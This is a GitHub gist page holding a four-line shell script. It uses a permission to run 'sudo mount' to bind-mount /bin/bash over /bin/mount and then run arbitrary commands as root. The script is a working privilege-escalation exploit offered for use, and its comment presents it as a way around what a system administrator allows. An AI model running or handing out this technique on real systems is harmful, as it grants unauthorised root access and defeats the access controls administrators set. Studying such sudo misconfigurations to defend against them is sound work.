Created
April 13, 2024 04:57
-
-
Save cyyself/715a08f8ede6322d285b4cdd47e73717 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# If your system admin allows you to use `sudo mount`, this script will be useful | |
/usr/bin/sudo /usr/bin/mount -o bind /bin/bash /bin/mount; | |
/usr/bin/sudo /bin/mount -c "exec /bin/bash -c \"umount /bin/mount;$@\""; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment